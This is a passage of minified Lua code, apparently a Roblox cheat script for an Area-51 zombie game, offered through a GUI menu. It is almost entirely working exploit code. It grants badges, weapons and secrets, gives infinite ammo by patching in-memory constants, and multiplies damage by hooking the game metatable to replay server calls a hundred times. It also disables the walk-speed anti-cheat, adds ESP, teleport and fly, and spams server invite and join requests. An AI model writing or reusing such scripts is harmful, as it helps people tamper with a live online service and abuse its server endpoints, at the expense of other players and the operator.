B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)z:NewButton("Get Code for Door","Please walk after clicking this.",function()m.Notify("Get Code","Enabled Please walk forward the first number is the first numeral for the door.","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})for a2,v in pairs(game:GetService("Workspace").AREA51.CodeModel:GetDescendants())do if v:IsA("Part")then wait(.33)v.CFrame=game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame end end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow","Desert Eagle"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD","Code-Door"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)elseif ag=="Code-Door"then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Enter end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==155382109 then local o="BloodTheme"local x=n.CreateLib("Main Menu UI",o)local y=x:NewTab("Main:")local z=y:NewSection("You're currently in the main menu.")z:NewTextBox("Enter Username","Enter Name.",function(ak)_G.getText=ak end)z:NewToggle("Spam-Send-Invites","Automatically sends a invite every 5 seconds.",function(R)if R then _G.autoSend=true;while wait()do if _G.autoSend==true then if _G.getText==""then m.Notify("Please enter a Username.","","http://www.roblox.com/asset/?id=261113606",{Duration=9,Main={Rounding=true}})end;local ad={[1]=game:GetService("Players")[_G.getText]}game:GetService("ReplicatedStorage").BossRushFunctions.RequestJoin:InvokeServer(unpack(ad))end end else _G.autoSend=false end end)z:NewButton("Spam Join Storming","Spam Joins and Leaves Storming",function()_G.spam=true;while wait()do if _G.spam==true then game:GetService("ReplicatedStorage").StormingEvents.JoinRequested:FireServer()wait(.1)game:GetService("ReplicatedStorage").StormingEvents.LeaveRequested:FireServer()end end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("ReplicatedStorage").StormingEvents.JoinRequested:FireServer()end)elseif game.PlaceId==6054929905 then local o="BloodTheme"local x=n.CreateLib("Boss Rush Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")z:NewToggle("Autofarm Boss:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm for Boss","This is buggy.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then for a2,v in pairs(game:GetService("Workspace").AREA51.Map.Boss:GetChildren())do if v:IsA("Part")and v.BrickColor==BrickColor.new("New Yeller")then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=v.CFrame end end;for a2,v in pairs(game:GetService("Workspace").AREA51.Map.Boss:GetChildren())do if v:IsA("Part")and v.BrickColor==BrickColor.new("Really red")then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=v.CFrame end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)z:NewToggle("Remove Cutscenes","Removes cutscenes from Area-51-Game",function(R)if R then _G.cutScene=true;while wait()do if _G.cutScene==true then workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end else _G.cutScene=false end end)z:NewButton("Remove Toxic Water","Removes Toxic-Water.",function()game:GetService("Workspace").AREA51.Map.BossRoom.ToxicWater:Destroy()end)z:NewToggle("Remove Kill Parts","Removes Kill Parts.",function(R)if R then while wait()do for a2,v in pairs(game.Workspace:GetChildren())do if v:IsA("TouchTransmitter")then v:Destroy()end end end end end)z:NewButton("Get Case File","Gives you case-file.",function()firetouchinterest(k.Character.HumanoidRootPart,game:GetService("Workspace")["Case file"].Hitbox,0)end)local y=x:NewTab("Gun Mods:")local z=y:NewSection("")z:NewButton('Infinite-Ammo',"Gives you Infinite-Ammo for your weapons.",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Boss","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else 